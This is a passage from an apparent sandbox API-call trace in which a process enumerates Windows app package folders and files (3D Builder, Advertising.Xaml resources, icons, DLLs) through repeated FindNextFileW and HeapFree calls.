ftCreationTime.dwLowDateTime=0x22a572ca, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a572ca, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.scale-100.png", cAlternateFileName="SEARCH~1.PNG")) returned 1 [0078.403] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.403] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2310be20, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2310be20, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xeb58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="clrcompression.dll", cAlternateFileName="CLRCOM~1.DLL")) returned 1 [0078.470] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.470] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3002ee68, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xa967c915, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3002ee68, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0078.475] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.476] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2313207f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2313207f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x136470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1 [0078.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.476] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa967d4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deleted", cAlternateFileName="")) returned 1 [0078.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.476] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3c9c41d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_N")) returned 1 [0078.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.478] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8c8b9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96db2b17, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96db2b17, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0078.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.479] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0078.479] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0078.480] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.481] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_X")) returned 1 [0078.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.486] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0078.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.493] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a4daf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contrast", cAlternateFileName="")) returned 1 [0078.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0078.494] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0078.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0078.494] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 0 [0078.494] FindClose (in: hFindFile=0x4260340 | out: hFindFile=0x4260340) returned 1 [0078.495] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.495] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7570, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1 [0078.495] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.495] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7e68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0078.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.496] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="CubeTile_contrast-black.png", cAlternateFileName="")) returned 1 [0078.503] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x972809b4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpIcon_contrast-black.png", cAlternateFileName="")) returned 1 [0078.503] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973009bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlue.png", cAlternateFileName="")) returned 1 [0078.507] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0078.507] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9739a738, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9a9f7f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x974330d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0078.551] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0078.551] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974330d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9745932e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9745932e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Icon.targetsize-16.png", cAlternateFileName="")) returned 1 [0078.551] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.551] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x974a57e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediumBlue.png", cAlternateFileName="")) returned 1 [0078.786] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.786] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa22bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9758c747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0078.786] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.786] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975d8bfa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975d8bfa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScanIcon_contrast-black.png", cAlternateFileName="")) returned 1 [0078.788] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.788] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 1 [0078.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0078.792] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x976e822e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9bd111d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x977346e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NavColumn_Black", cAlternateFileName="NAVCOL~1")) returned 0 [0078.792] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0078.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.792] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 0 [0078.792] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0078.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.794] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x977346e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9853e192, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1023200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Builder3D.exe", cAlternateFileName="")) returned 1 [0078.794] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.794] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98566969, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98573136, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98573136, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lib3mfUAP.dll", cAlternateFileName="")) returned 1 [0078.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.795] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98573136, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98685908, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98685908, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cf18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0078.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.795] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4a05954, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_X")) returned 1 [0078.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0078.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a93a75, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33ca9b72, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33ca9b72, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e1998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0078.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0078.799] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0078.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d27ae5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0078.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb523798b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_X")) returned 1 [0078.801] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.801] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d73fc1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x298f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0078.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.802] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33dc9bf6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31ed98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0078.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0078.803] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0078.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.803] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, 